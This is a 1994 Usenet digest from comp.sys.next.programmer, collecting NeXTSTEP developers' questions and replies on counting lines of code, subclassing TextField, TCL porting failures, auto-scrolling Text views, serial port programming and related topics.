From: robinson@next532-2.gsfc.nasa.gov (Scott Robinson) Newsgroups: comp.sys.next.programmer Subject: Re: Counting lines of code [a 1-liner] Date: 11 May 1994 15:52:02 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Message-ID: <2qquv2$6u@paperboy.gsfc.nasa.gov> References: <ROBERT.94May11131630@steffi.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In article <ROBERT.94May11131630@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: > Care to tell me who's paid by the number of lines of code they write > :-)? > > how is this metric used exactly? _paid_ by the number of lines of code? Nah... projects _managed_ by the number of lines of code? Unfortunately, yes... So far, I've been able to hold them off by starting a philosophical discussion on how to count lines like this: [[[[[obj1 method1] method2] method3] method4] method5]; Once they figure that one out, there's the Next Step (;-): how do you estimate/measure work done in Interface Builder? -- J. Scott Robinson Computer Sciences Corp. EMail: robinson@next532-2.gsfc.nasa.gov Flippin like a pancake, poppin like a cork...
From: rep@hrz.tu-chemnitz.de (Ralph Eppert) Newsgroups: comp.sys.next.programmer Subject: Underlined, colored text in TextField, how ??? Date: 11 May 94 16:34:09 GMT Organization: University of Technology Chemnitz, FRG Message-ID: <rep.768674049@herodes> Hi, I want to know the correct way to display underlined or colored text in a TextField. Here is what I did: // creating textField [myView addSubview: textField]; testText = [[myWindow getFieldEditor: YES for: textField] setMonoFont: NO]; [testText underline: textField]; But the the text in textField ( it is a static TextField ) still appeared normal. After that first experiment I added an editable TextField to myView. But the text in this TextField also wasn't drawn underlined. Only after selecting the text from textField with [textField selectText] gave me underlined text in both TextFields. The funny thing was, when I entered text in the second TextField , the text in the first one was redrawn in normal state. So what's wrong here ?? Please reply via email, thanks. Thanks in advance for your help. Ralph Eppert rep@informatik.tu-chemnitz.de "Alles wird besser, ... nichts wird gut."
From: tms@cfc.com (Todd M. Swan) Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <TMS.94May10153153@litespeed.cfc.com> Control: cancel <TMS.94May10153153@litespeed.cfc.com> Date: 10 May 1994 19:52:04 GMT Organization: Chrysler Financial, MIS, Center Line, MI Distribution: usa Message-ID: <TMS.94May10155204@litespeed.cfc.com>
From: tms@cfc.com (Todd M. Swan) Newsgroups: comp.sys.next.programmer Subject: Re: Counting lines of code [a 1-liner] Date: 10 May 1994 19:57:45 GMT Organization: Chrysler Financial, MIS, Center Line, MI Distribution: usa Message-ID: <TMS.94May10155745@litespeed.cfc.com> References: <1994May9.142112.4652@fnbc.com> <2qm1he$p3@sol.ctr.columbia.edu> In-reply-to: gbrown@raven.ctr.columbia.edu's message of 9 May 1994 19:05:18 GMT In article <2qm1he$p3@sol.ctr.columbia.edu>, gbrown@raven.ctr.columbia.edu (Glenn Brown) writes: >>In article <CpEGIq.Awu@mrk.com> jerald@mrk.com (Jerald Dawson) writes: >>> I want to count the lines of code that make up an app we just >>> ported from windows so we can compare the two. >Drew Davidson writes >>Here's the script that I use. [Much code deleted] >Ick! Just use > find sourcedir -name \*.\[hcm\] -exec cat {} \; | wc >where sourcedir is the root directory of your source tree, and this >command will count the lines in all files named *.[hcm] in that directory >or its subdirectories. Except that "lines of code" doesn't include blank lines, comments, and (in most cases) precompiler directives. Todd
From: ken@geritol.mc.duke.edu (Ken McKee) Newsgroups: comp.sys.next.programmer Subject: Re: How to subclass TextField? Date: 11 May 1994 21:07:16 GMT Organization: Duke University; Durham, N.C., USA Distribution: world Message-ID: <2qrhe4$gg4@news.duke.edu> References: <2qqfaf$sk6@newshost.uni-koblenz.de> In article <2qqfaf$sk6@newshost.uni-koblenz.de> kampp@informatik.uni-koblenz.de (Ralf Kampp) writes: > > > >How does one subclass a the TextField class and get it to appear in a > window > > > > > In your appDidInit-Method (or somewhere else you are sure it will be > executed early enough) use > [[MyTextField poseAs:TextField] > > Then all TextFields behave like MyTextFields. > If you wait until the app initializes, then the fields will behave like TextFields, within Interface Builder, and not like MyTextFields. Altering the behavior of all TextFields may not be desirable. To avoid this, create a palette for MyTextField. There are examples on ftp.cs.orst.edu and in the NeXTSTEP Developer Package that can help you do this. This will allow you to drag a MyTextField object into your app without altering all TextFields and retain the full capabilites of I.B. Ken
Newsgroups: comp.sys.next.programmer From: castor!mike (Michael Marquardt) Subject: How does NXScanALine() work? Message-ID: <1994May6.150906.3980@castor.cube.de> Sender: mike@castor.cube.de Organization: Edition SBL GmbH Date: Fri, 6 May 1994 15:09:06 GMT Hi! Does anyone know how NXScanALine(), NXDrawALine(), calcLine etc. work and interact? Where do I get additional information on the Text object? Thanx .\\ichael
From: root@net23 (Operator) Newsgroups: comp.sys.next.programmer Subject: Serial Driver and other problems Message-ID: <Cpo06K.3wu@spcuna.spc.edu> Date: 12 May 94 01:01:32 GMT Sender: news@spcuna.spc.edu (Network News) Organization: St. Peter's College, US Hello. We are in desperate need of some things. First, we need a serial driver that will support a 28.8 modem in conjunction with PNI-1.8 SLIP software. It is a Microcom 28.8 modem on a 16550A Uart compatible card on NS/FIP 3.2 on a 486/DX2 66 W/32 MB RAM. WE NEED THIS NOW. Second, we need a perl binary for NS/FIP Also, someone to compile INN or tell us where to obtain NS/FIP binaries. We will gladly give an account to anyone who can accomplish any of these things with the first being the most important Please send all inquiries and comments to : razor@net23.com, do not post on the groups Thanks in advance, Nick
Newsgroups: comp.sys.next,comp.sys.next.programmer From: mitch@sinister.ictv.com (Mitch Askenas) Subject: DBKIT Adaptor for Raima,/DBvista Message-ID: <1994May10.174632.23710@ictv.com> Keywords: DBKIT, Adaptor, Raima, DBvista Sender: usenet@ictv.com Organization: ICTV, Santa Clara, CA (408) 562-9200 Date: Tue, 10 May 1994 17:46:32 GMT Can anyone point me to a DBKit Adaptor for Raima's DBVista. If there isn't one, maybe a pointer to a good example, so I can build my own. Thanks in advance. -- Mitch Askenas Mitch@ictv.com 408-562-9237
Newsgroups: comp.sys.next.programmer From: garth@syd.au.swissbank.com (Garth Ormsby) Subject: GNUStep mailing list address? Message-ID: <1994May11.233711.23056@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: SBC Australia. Date: Wed, 11 May 1994 23:37:11 GMT Anyone know it? Cheers, Garth. ,-_|\ Garth Ormsby TextNet: garth@syd.au.swissbank.com / ^ \ SBC Australia Ltd NeXTNet: garth@il.us.swissbank.com \_,-._* Sydney, Australia ChatNet: +61 2 258 2559 (work) v #include <std/disclaimer.h> FaxNet: +61 2 258 2400
From: pcu@umich.edu Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy,comp.sys.next.software Subject: The "Where do I look for info on" FAQ Date: 12 May 1994 03:28:53 GMT Organization: University of Michigan Distribution: world Message-ID: <2qs7pl$fao@lastactionhero.rs.itd.umich.edu> Where do I look for info on drivers for Intel hardware? Where do I look for info on PDO? Where do I look for info on OpenStep? Where do I look for info on FTP sites? Where do I look for info on 3rd party products? Try ftp'ing ftp.next.com <129.18.1.3>. Get the 1001_Master_Index Search through it, and then get the interesting files. Where do I look for info on NeXTSTEP itself? Check above answer. For more, personal information, check out the NeXTSTEP User Groups listed on ftp.next.com.
Newsgroups: comp.sys.next.programmer From: Zacharias J. Beckman <zac@dolphin.com> Subject: Problem with IXKit -empty method? Message-ID: <1994May11.223017.23116@dolphin.com> Keywords: ixkit empty help Sender: zac@dolphin.com Organization: Dolphin Technologies Inc. Distribution: usa Date: Wed, 11 May 1994 22:30:17 GMT After calling [IXRecordManager empty] on a record manager with records stored in it (and those records have been flushed to the underlying IXStoreFile), it seems that any further writing of records fails. Using [IXRecordManager addRecord:] to write records, it appears the record manager is NOT able to flush to the underlying IXStoreFile (using the method [IXStoreFile commitTransaction]). However, the records records stored prior to a call to [IXRecordManager empty] seem to flush correctly. Any help would be appreciated. Please respond by Email, as our news gateway is a bit flakey sometimes... Thank you! -- Zacharias J. Beckman - Dolphin Technologies Inc. - zac@dolphin.com - NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
Newsgroups: comp.sys.next.programmer From: foxm@spot.Colorado.EDU (Mike Fox) Subject: Anyone have a free graph object? Message-ID: <Cpo8GC.HL5@cnsnews.Colorado.EDU> Keywords: Graph View Free Sender: usenet@cnsnews.Colorado.EDU (Net News Administrator) Organization: University of Colorado, Boulder Date: Thu, 12 May 1994 04:00:11 GMT I'm looking for a 2D graph object along the lines of the LineGraph object (from the Graph app in /NextDeveloper/Examples), but with a bit more functionality (e.g. labels, tick marks, etc.) Does anyone have such a beast that they are willing to share. Oh, by the way, the object would only be for personal use, and not a commercial app. Mike
From: griffon@unixg.ubc.ca (James) Newsgroups: comp.sys.next.programmer Subject: Programming Book Recommendations??? Date: Wed, 11 May 1994 21:33:29 +1000 Organization: UBC Message-ID: <griffon.80.00122AD1@unixg.ubc.ca> Hello! Can anyone provide a name of a good book...*one has CD-Rom of example codes if possible* of NS programming...And can one tell me where I can get it in Vancouver BC??? Thanx!!! James
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Re: SUMMARY: DPS issues Date: 12 May 1994 00:44:21 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9405111802.AA01740@flexus> LS, Stroke thing: Sorry again for the confusion, my fault, I didn't pick this up from the documentation (about setlinecap). But of course, it is not documented either that ``true setstrokeadjust'' (the default in DPS) forces any subpath to no longer be degenerate, is it? So this should be adapted (well, I only have the Supplementary Documentation version). Resolution information: Why, of course there is resolution information before show time (sic)! Just do ``matrix currentmatrix'', and there you have it (at scalefont/makefont/setfont/selectfont or show or BuildChar time). The last opportunity would enable me to export fonts to any application, by putting a stub inside the ``outline'' definition, but can not be used because communication is disabled. Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again)
From: young@cse.ucsc.edu (Sing Z.S. Young) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.programmer Subject: DDC1, DDC2 ? Date: 12 May 1994 07:13:58 GMT Organization: University of California, Santa Cruz (CE/CIS Boards) Distribution: world Message-ID: <2qskvm$c0l@darkstar.UCSC.EDU> Does anybody know what DDC1 and DDC2 stand for ? The context is something about telecommunication. If this is not the proper place to ask this question, any pointerr to where the answer might be found is highly appreciated. Thanks ! Sing Young
Newsgroups: comp.sys.next.programmer From: mlnorman@flagstaff.Princeton.EDU (Michael Louis Norman) Subject: help: porting apps that use CURSES Message-ID: <1994May11.224004.22041@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Wed, 11 May 1994 22:40:04 GMT Where can I find an version of the curses lib for mach that implements nodelay() and keybd()? I kinda need an answer asap. :( Thanks. - Michael
From: starksm@genesis.mcs.com (Scott M. Stark) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: NEC 3xi problems? Date: 12 May 1994 08:48:38 GMT Organization: MCSNet Services Distribution: world Message-ID: <2qsqh6$c03@News1.mcs.com> Keywords: NEC, Intel, TIFF Hi, I seem to be having reading TIFF/binary files from CDs with an internal NEC 3xi. The system is from Alpine, DPT 2012-B SCSI controller. If I put in the developer CD, most app/directory icons have a band through them, and many apps won't launch from the CD. If I look at TIFFs long enough the Workspace exits with internal error 2002. Any ideas as to whether this is a problem with the drive, drivers, or some other system problem? Scott -- Scott Stark Stark Internation Software 4950 N. Marine Dr. #102 Chicago, IL 60640 starksm@genesis.mcs.com (NeXT mail accepted)
From: marcel@cs.tu-berlin.de (Marcel Weiher) Newsgroups: comp.sys.next.programmer Subject: Re: SUMMARY: DPS issues Date: 12 May 1994 09:19:26 GMT Organization: Technical University of Berlin, Germany Message-ID: <2qssau$70f@news.cs.tu-berlin.de> References: <9405111802.AA01740@flexus> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) writes: >Resolution information: Why, of course there is resolution information before >show time (sic)! Just do ``matrix currentmatrix'', and there you have it (at >scalefont/makefont/setfont/selectfont or show or BuildChar time). The last >opportunity would enable me to export fonts to any application, by putting a >stub inside the ``outline'' definition, but can not be used because >communication is disabled. It's available, but not complete/true. If your coordinate system is scaled (or rotated) subsequently, this will (effectively) be a new resolution, at least as far as the font-cache is concerned. I'll leave it to Scott to diagnose foot-in-mout-disease if necessary. Marcel
From: dv828@cleveland.Freenet.Edu (Frederique Sacristan) Newsgroups: comp.sys.next.programmer Subject: last login of a user under a NeXT network??? Date: 12 May 1994 10:53:26 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <2qt1r6$3ha@usenet.INS.CWRU.Edu> Do you know if there is a C function to obtain the date of the last login of a user inside a NeXT network, and not only on a given station (not the "last" command :-) ). -- Frederique Sacristan Software Engineer e-mail: dv828@cleveland.freenet.edu (No NeXT Mail, please) Phone: (+33) 35.74.52.09 Fax: 35.75.43.12
From: ftrancha@thales.crihan.fr (Fabrice Tranchand) Newsgroups: comp.sys.next.programmer Subject: How to save a terminal content? Date: 12 May 1994 11:07:09 GMT Organization: CRIHAN, Mont-Saint-Aignan (France) Message-ID: <2qt2kt$74k@zaphod.crihan.fr> Do you know how to redirect the content of a "Terminal" (in NeXTApps !) in a ascii file in real time (as soon as a word is written in the Terminal, it must be written in the file...) like "xterm -l -lf <file name>" but concerning the Terminal application ;-) Thanks to reply me as soon as possible ...
From: dv828@cleveland.Freenet.Edu Newsgroups: comp.sys.next.programmer Subject: cmsg cancel <2qt42k$59h@usenet.INS.CWRU.Edu> Control: cancel <2qt42k$59h@usenet.INS.CWRU.Edu> Date: 12 May 1994 12:23:58 GMT Organization: Case Western Reserve University, Cleveland, Ohio (USA) Message-ID: <2qt74v$9r3@usenet.INS.CWRU.Edu> Article cancelled from nr -- Frederique Sacristan Software Engineer e-mail: dv828@cleveland.freenet.edu (No NeXT Mail, please) Phone: (+33) 35.74.52.09 Fax: 35.75.43.12
From: zhao@crl.nmsu.edu (Z. Zhao) Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer Subject: NeXT & MM Date: 12 May 94 08:32:24 Organization: Computing Research Lab Message-ID: <ZHAO.94May12083224@sparta.crl.nmsu.edu> Some people in this group may be interested in the following article posted in comp.multimedia and etc. I do think NeXT should have some important impact on multimedia development. However, is NeXT interested in mm? Probably, they are, and focused on the application for bankers. I can see the different marketing strategy of SUN&NeXT and microsoft. If SUN&NeXT hook on 1000 bankers and made $10 million/banker, that is $1billion, a lot of money. There are about 150 millions of PCs. If microsoft made $20/PC, e.g., by upgrading DOS 5.0 to 6.0., that is $3billion. Even bankers cannot ignore PCs now. ZZ _____________________________________________________________________________ >From andreas@dworkin.wustl.edu Tue May 10 07:33:42 1994 From: andreas@dworkin.wustl.edu (Andreas D. Bovopoulos) Newsgroups: comp.sys.sun.hardware,comp.multimedia,comp.mail.multi-media,comp.dcom.ce ll-relay Subject: An ATM based multimedia lab Keywords: ATM, multimedia equipment Date: 7 May 94 05:43:19 GMT Followup-To: poster Distribution: usa Organization: Washington University St. Louis, MO Hi Everybody: I am in the process of setting up an ATM networking lab for the company I work for. Part of our activities will include the development and experimentation with services and applications for the ATM LAN market. For example one of the first projects we want to undertake is to develop an ATM Forum complient impementation of LAN Emulation. We also plan to experiment with multimedia applications as well. With respect to workstations we are thinking to get Sun workstations. One of reasons is that there are plenty of ATM adapter cards impemented for Sbus. Any comments on this? What is the situation with HP machines? The other issue is that eventually we would like to experiment with multimedia applications. Do you have any experience on the real time capabilities of Solaris? Over the summer Nextstep will be available on HP machines and later on Suns. Would any of you prefer a HP machine with/or without Nextstp over a Sun with Solaris? We are interested also to aquire an ATM switch for the lab. Has any of you experimented with any of the switches that are currently in the market? We are interested only in switches that support a standards (UNI 3.0) complient product. Further, we would need to have access to the signalling API. Any suggestions? With respect to peripherals, video cards, video cameras what would you recommend? Is there an advantage for going with Sun over HP workstations? How would you position NextStep in your consideration? The question is: Is there any reason to consider NextStep and workstations that will support Nextstep? >From what I know over the summer HP workstations will be available with NextStep. That would probably be a good platform. But what about peripherals and adapter cards? What about ATM switches that could interoperate with such workstations and or PCs. Do you know if there exist any ATM switches which could be used in such environment? Please, send your suggestions to my e-mail address: andreas@dworkin.wustl.edu and I will summarize. Thanks a lot in advance, Andreas D. Bovopoulos Chipcom Corporation 508-4905602
Newsgroups: comp.sys.next.programmer From: petergun%kgnome.uucp@vectrex.login.qc.ca (Stephane I. Matis) Subject: TCL 7.3 and TCL7.3x Message-ID: <CpnDn9.13t@kgnome.uucp> Sender: usenet@kgnome.uucp Organization: 3DT "Skunk Works" Date: Wed, 11 May 1994 16:54:44 GMT After compiling TCL 7.3 with all the clues I received from the net, and having read the porting notes (sigh), I still can't get the complete 'test suite' to run without errors. I reckon it will never work correctly, but I'm still curious if there is a hack or a fix to the following problems. During compilation, the warning : tclUnixAZ.c: In function `Tcl_PwdCmd': tclUnixAZ.c:1501: warning: comparison between pointer and integer During the test suite : ---- expr-32.1 FAILED ---- expr-32.7 FAILED ---- expr-32.8 FAILED ---- expr-32.13 FAILED ---- expr-32.16 FAILED ---- expr-32.18 FAILED ---- expr-32.19 FAILED ---- format-4.3 FAILED ---- format-4.4 FAILED ---- format-4.5 FAILED ---- format-4.6 FAILED ---- format-4.8 FAILED ---- format-4.9 FAILED ---- format-4.10 FAILED ---- format-4.12 FAILED ---- format-4.13 FAILED ---- format-5.3 FAILED ---- scan-1.5 FAILED ---- scan-6.5 FAILED ---- scan-6.6 FAILED ---- scan-6.7 FAILED If this is impossible to solve, I wonder if TickleService is "callable" from the command line ? Thanks for your time. -- petergun R-name : Stephane I. Matis E-mail : petergun@vectrex.login.qc.ca
From: patel@next532-5.gsfc.nasa.gov (Manoj Patel) Newsgroups: comp.sys.next.programmer Subject: Enable a services menu option for Terminal.app in another app Date: 12 May 1994 16:32:59 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Distribution: world Message-ID: <2qtlnr$22p@paperboy.gsfc.nasa.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Keywords: Services submenu option "New Shell Here" for Terminal.app I am trying to enable a services submenu option, "New Shell Here", for Terminal.app inside a custom NexStep application that I have developed. In my custom NextStep application, I have a Services menu that I dragged in from the IB palette into my application's menu in Interface Builder when I created this application. When I run this application in exclusive mode, I want to open up a terminal shell window from my application so that I can execute certain system commands in the shell. Exclusive mode is enabled via the command "dwrite loginwindow Workspace <your application's pathname>". Exclusive mode means that only my application is running, nothing else including the Workspace Manager is running. I have enabled the Terminal services option "New Shell Here" through the Workspace's preferences panel, because from the documentation on Services, I understand that the contents of the Services Menu is not controlled by the application in which it appears, but by the Workspace Manager. When I run my application in exclusive mode, the Terminal submenu appears in the Services submenu of my application's main menu. However, none of the Terminal.app's advertised services are enabled or highlighted under the Terminal submenu. I should be able to open up a new terminal shell window by clicking the menu option "New Shell Here". But I can't do that since that option is not enabled. None of these terminal serv ices get enabled even after I select a portion of a text from an ascii text window in my application. I am not sending or receiving any text to and from the Terminal.app or any other application. All I want to do is open up a terminal shell window from my application. Now, when I run the application in non-exclusive mode, i.e. the Workspace Manager is also running in the background, the "New Shell Here" option gets enabled after I select a portion of a text in my application. Then, I can open up a terminal shell window by clicking the "New Shell Here" services menu option. However, I would like to run my application in exclusive mode for performance related reasons. I am wondering if I have to add in some special quirks in my application's source code to get the terminal's services to work properly when the application is running in exclusive mode. The only reason I am using the NextStep's Services facility is so that I could call the Terminal.app application to open up a terminal shell window in my application. I am wondering if I could have my application do this manually, by having a button that would trigger a method in one of my application's objects that would execute a Unix system command via the Unix function "system( <<Unix command>>)". However, I don't know what is the system command for opening up a terminal shell window. If anyone has any suggestions or hints or solutions that they found if they experienced similar problems, please let me know. Manoj A. Patel NASA/Goddard Space Flight Center Network Control Systems Branch, Code 532.1 Greenbelt, MD 20771 Phone# (301) 286-1559 Email address: patel@next532-5.gsfc.nasa.gov
From: samurai@hasc.ca (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: Counting lines of code [a 1-liner] Date: 12 May 1994 15:56:20 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2qtjj4$kvp@cerberus.wsc.com> References: <ROBERT.94May11131630@steffi.demon.co.uk> Just a comment ;-) : I thought that comments were supposed to be counted as lines of code, since they mean time devoted to proper documentation, and must be maintained as well, just as the C (or whatever lang.) code. Also... without counting the lines of comments, the same program documented and undocumented would count as the same amount of work. This is kinda wierd, since the undocumented one is "harder" to support, because it has no documentation, and the documented one is "harder" to support, because it has more lines of code! Discuss. ;-). - darcy
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: scrolling question Message-ID: <1994May12.172021.23265@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Thu, 12 May 1994 17:20:21 GMT Well, after flipping back and forth on the doc for ClipView and ScrollView, I turn to y'all.. I have a ScrollView I've dragged out in IB (so it already has a ClipView and Text object as a docView inside). I use this ScrollView to report various information. The problem is that as soon as the information starts to run off the bottom of the Text object, the scroller appears, but I have to click on the scroller and scroll down to see the latest info. In other words, I want the scroll view to automatically scroll such that the latest info is always showing. This must be easy, right? I saw the "autoscroll" method in ClipView, but that didn't look like the right thing... I have a feeling what I want is somewhere in the Text object, but I've only done the most mundane things with Text... Any ideas appreciated. Send me e-mail and I'll summarize and good ideas back here. Thanks. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: dnelson@scrinext.scri.fsu.edu (Dru Nelson) Newsgroups: comp.sys.next.programmer Subject: Re: help: porting apps that use CURSES Date: 12 May 1994 17:48:30 GMT Organization: Florida State University Message-ID: <2qtq5e$f4e@mailer.fsu.edu> References: <1994May11.224004.22041@Princeton.EDU> Hello, You will need to do an ioctl on the terminal device. Curses is already one of the most buggy libs around so good luck. I tried posting here about setting pass8out for ioctl, but I received no answer. Dru
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: scrolling question Message-ID: <1994May12.175812.24012@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1994May12.172021.23265@news.media.mit.edu> Date: Thu, 12 May 1994 17:58:12 GMT In article <1994May12.172021.23265@news.media.mit.edu> wave@media.mit.edu (Michael B. Johnson) writes: >>Well, after flipping back and forth on the doc for ClipView and ScrollView, >>I turn to y'all.. >> >>I have a ScrollView I've dragged out in IB (so it already has a ClipView >>and Text object as a docView inside). I use this ScrollView to report >>various information. The problem is that as soon as the information starts >>to run off the bottom of the Text object, the scroller appears, but I >>have to click on the scroller and scroll down to see the latest info. >>In other words, I want the scroll view to automatically scroll such that >>the latest info is always showing. This must be easy, right? I saw >>the "autoscroll" method in ClipView, but that didn't look like the right >>thing... I have a feeling what I want is somewhere in the Text object, >>but I've only done the most mundane things with Text... >> duh. answering my own post, how boring... send the Text object the "scrollSelToVisible", of course. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: TCL 7.3 and TCL7.3x Date: 12 May 1994 17:57:14 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94May12185714@steffi.demon.co.uk> References: <CpnDn9.13t@kgnome.uucp> To: petergun%kgnome.uucp@vectrex.login.qc.ca (Stephane I. Matis) In-reply-to: petergun%kgnome.uucp@vectrex.login.qc.ca's message of Wed, 11 May 1994 16:54:44 GMT If Larry is listening can he please ensure that the FAQ entries are rolled into the porting notes. Have you followed the steps outlined in the TCL FAQ (not porting notes) to the letter? The only tests that should fail are precision tests. All exprs work when you use the correct strtod implementation. That's my experience. I have no experience with TCL.7.3x however. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robinson@next532-2.gsfc.nasa.gov (Scott Robinson) Newsgroups: comp.sys.next.programmer Subject: Re: Counting lines of code [a 1-liner] Date: 12 May 1994 18:54:40 GMT Organization: NASA Goddard Space Flight Center -- InterNetNews site Message-ID: <2qtu1g$46j@paperboy.gsfc.nasa.gov> References: <2qtjj4$kvp@cerberus.wsc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In article <2qtjj4$kvp@cerberus.wsc.com> samurai@hasc.ca (Darcy Brockbank) writes: > Just a comment ;-) : Hey! I can //comment on this one, too! > I thought that comments were supposed to be counted as > lines of code, since they mean time devoted to proper > documentation, and must be maintained as well, just > as the C (or whatever lang.) code. > > Also... without counting the lines of comments, the > same program documented and undocumented would count > as the same amount of work. This is kinda wierd, since > the undocumented one is "harder" to support, because > it has no documentation, and the documented one is > "harder" to support, because it has more lines of code! > Discuss. ;-). > > - darcy 1. Peer reviews *should* enforce local documentation standards. If they don't, get a better class of friends. 2. We don't code-test the comments, so they shouldn't figure into the (sometimes goofy) calculations for software metrics that are all the rage around here... ;-) where appropriate... -- J. Scott Robinson Computer Sciences Corp. EMail: robinson@next532-2.gsfc.nasa.gov Flippin like a pancake, poppin like a cork...
From: joe@retina.anatomy.upenn.edu Newsgroups: comp.sys.next.programmer Subject: QuickBase developers? Date: 12 May 1994 20:40:11 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2qu47b$qke@netnews.upenn.edu> Hi, Are there any QuickBase developers out there working in the DBKit? If you could please e-mail me your address, I would like to ask you some questions. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: ben@muttley.eecs.berkeley.edu (Ben Haze Bonham) Newsgroups: comp.sys.next.programmer Subject: '030 Question: zs silo read delay - Possible to decrease? Date: 12 May 1994 22:03:32 GMT Organization: University of California at Berkeley Message-ID: <2qu93k$fj@agate.berkeley.edu> Hi - I don't know if this question even makes sense, but if it does and there's an answer, then life will be a bowl of cherries (for at least a couple of minutes anyway...), at least for me, but maybe other people who are experiencing similar problems. I'm running mouse-X on an 030 and using an xterm talking to software over a modem at 19200 (no hdwe flow control). mouse-X keeps crashing (either through SLIP or kermit), and the message to the console is 'receive buffer overrun'. The man page for zs says that the queue is processed every 20 ms or when the silo nears full. it also mentions a special iotcl - ZIOCTSET - to set receiver silo delay. (Actually, mouse-X crashes when I'm running at lower modem rates and moving the mouse around a lot on the screen, too.) Okay - the question: (a) Would raising the priority of the communications software (kermit or slip) avoid the above problem, or (b) is there some way that I can cause the queue to be processed more frequently (or more quickly) without changing the priority by using the ioctl mentioned above (and how might I go about doing it)? Thanks very much, -Ben
From: xinwei@otter.Stanford.EDU (Sha Xin Wei) Newsgroups: comp.sys.next.programmer Subject: rescaling a TIFF cell in Text Date: 12 May 1994 23:22:20 GMT Organization: Stanford University Message-ID: <2qudnc$1fr@nntp2.Stanford.EDU> References: <2qmcbq$poq@wave.aoml.erl.gov> How do I rescale an NXImage(TIFF) which is inserted into a Text view as a cell? Sending a scale message to the view resizes text characters but not the embedded TIFF. Xin Wei
From: Olav Anderson Newsgroups: comp.sys.next.programmer Subject: serial port programming Date: 13 May 1994 00:25:53 GMT Organization: The University of British Columbia Distribution: world Message-ID: <2quheh$77c@nntp.ucs.ubc.ca> Keywords: serial port Hi All, I'm just learning how to program the serial port because I want to interface the NeXT to our instruments to collect data with a snazzy user friendly interface. Are there any good books and/or example code that anyone could reccomend to me? I can't buy objects already written because this lab can't spare the cash. Thanks in advance. ___________________________________________________ B.Olav Anderson Autodidact NeXTSTEP CyberSurfer e-mail olav@emerson.physics.ubc.ca NeXT Mail? Of course! Vancouver, B.C. "I know of no more encouraging fact than the unquestionable ability of man to elevate his life by a conscious endeavor." H.D.Thoreau
Newsgroups: comp.sys.next.programmer From: olebv@dhhalden.no (OLE BREDESEN-VESTBY) Subject: Q: Distributed Objects Message-ID: <olebv.32.2DD2DA1D@dhhalden.no> Sender: news@dhhalden.no (Network News User) Organization: Ostfold College Date: Fri, 13 May 1994 01:38:37 GMT I have a question I hope some of you can help me with. Is there an easy way to transfer files from one machine to another using Distributed Objects? ---------------------------------------- Ole Bredesen-Vestby Ostfold Regional College olebv@dhhalden.no http://student.dhhalden.no/ studentsida/olebv/olebv.html ----------------------------------------
From: dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) Newsgroups: comp.sys.next.programmer Subject: Re: serial port programming Date: 13 May 1994 07:16:26 GMT Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Message-ID: <2qv9ga$d2u@neptune.inf.ethz.ch> References: <2quheh$77c@nntp.ucs.ubc.ca> Keywords: serial port In article <2quheh$77c@nntp.ucs.ubc.ca>, <olav@emerson.physics.ubc.ca> wrote: [...] >friendly interface. Are there any good books and/or example code that anyone >could reccomend to me? >I can't buy objects already written because this lab can't spare the cash. > Check out the MiscSerialPort class included in the fabulous MiscKit. Dan
